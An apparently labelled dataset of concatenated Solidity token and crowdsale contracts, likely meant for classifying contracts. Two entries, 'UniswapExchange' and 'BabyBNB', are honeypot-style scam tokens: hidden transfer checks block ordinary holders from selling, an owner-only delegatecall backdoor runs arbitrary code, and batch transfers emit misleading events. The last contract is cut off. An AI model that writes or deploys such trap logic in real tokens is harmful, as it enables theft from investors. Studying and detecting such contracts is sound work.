_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress || canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 41 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address to, uint256 value) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
uint256 private _openingTime;
uint256 private _closingTime;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () public {
_rate = 10000000000;
_wallet = 0x4b09b4aeA5f9C616ebB6Ee0097B62998Cb332275;
_token = IERC20(0x1a9ECb05376Bf8BB32F7F038A845DbAfb22041cd);
_openingTime = block.timestamp;
_closingTime = 1567296000;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
modifier onlyWhileOpen {
require(isOpen());
_;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.div(_rate);
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_deliverTokens(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_forwardFunds();
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
} | 0 | 560 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Recoverable is Ownable {
function Recoverable() {
}
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
contract StandardTokenExt is Recoverable, StandardToken {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is StandardTokenExt {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardTokenExt {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
} | 1 | 4,486 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GVE is StandardToken, Ownable {
string public constant name = "Globalvillage ecosystem";
string public constant symbol = "GVE";
uint public constant decimals = 18;
bool public transferEnabled = true;
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function GVE() {
totalSupply = 1000000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
transferOwnership(msg.sender);
}
function transfer(address _to, uint _value)
validDestination(_to)
returns (bool) {
require(transferEnabled == true);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
validDestination(_to)
returns (bool) {
require(transferEnabled == true);
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
function setTransferEnable(bool enable) onlyOwner {
transferEnabled = enable;
}
} | 1 | 3,619 |
pragma solidity ^0.4.18;
contract RareClaim {
uint256 private fiveHoursInSeconds = 18000;
string public constant NAME = "RareClaims";
string public constant SYMBOL = "RareClaim";
mapping (address => uint256) private ownerCount;
address public ceoAddress;
address public cooAddress;
struct Rare {
address owner;
uint256 price;
uint256 last_transaction;
address approve_transfer_to;
}
uint rare_count;
mapping (string => Rare) rares;
modifier onlyCEO() { require(msg.sender == ceoAddress); _; }
modifier onlyCOO() { require(msg.sender == cooAddress); _; }
modifier onlyCXX() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; }
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) { return SYMBOL; }
function name() public pure returns (string) { return NAME; }
function implementsERC721() public pure returns (bool) { return true; }
function RareClaim() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function createRare(string _rare_id, uint256 _price) public onlyCXX {
require(msg.sender != address(0));
_create_rare(_rare_id, address(this), _price);
}
function totalSupply() public view returns (uint256 total) {
return rare_count;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerCount[_owner];
}
function priceOf(string _rare_id) public view returns (uint256 price) {
return rares[_rare_id].price;
}
function getRare(string _rare_id) public view returns (
string id,
address owner,
uint256 price,
uint256 last_transaction
) {
id = _rare_id;
owner = rares[_rare_id].owner;
price = rares[_rare_id].price;
last_transaction = rares[_rare_id].last_transaction;
}
function purchase(string _rare_id) public payable {
Rare storage rare = rares[_rare_id];
require(rare.owner != msg.sender);
require(msg.sender != address(0));
uint256 time_diff = (block.timestamp - rare.last_transaction);
while(time_diff >= fiveHoursInSeconds){
time_diff = (time_diff - fiveHoursInSeconds);
rare.price = SafeMath.mul(SafeMath.div(rare.price, 100), 75);
}
if(rare.price < 1000000000000000){ rare.price = 1000000000000000; }
require(msg.value >= rare.price);
uint256 excess = SafeMath.sub(msg.value, rare.price);
if(rare.owner == address(this)){
ceoAddress.transfer(rare.price);
} else {
ceoAddress.transfer(uint256(SafeMath.mul(SafeMath.div(rare.price, 100), 7)));
rare.owner.transfer(uint256(SafeMath.mul(SafeMath.div(rare.price, 100), 93)));
}
rare.price = SafeMath.mul(SafeMath.div(rare.price, 100), 150);
rare.owner = msg.sender;
rare.last_transaction = block.timestamp;
msg.sender.transfer(excess);
}
function payout() public onlyCEO {
ceoAddress.transfer(this.balance);
}
function _create_rare(string _rare_id, address _owner, uint256 _price) private {
rare_count++;
rares[_rare_id] = Rare({
owner: _owner,
price: _price,
last_transaction: block.timestamp,
approve_transfer_to: address(0)
});
}
function _transfer(address _from, address _to, string _rare_id) private {
rares[_rare_id].owner = _to;
rares[_rare_id].approve_transfer_to = address(0);
ownerCount[_from] -= 1;
ownerCount[_to] += 1;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,757 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyBNB {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
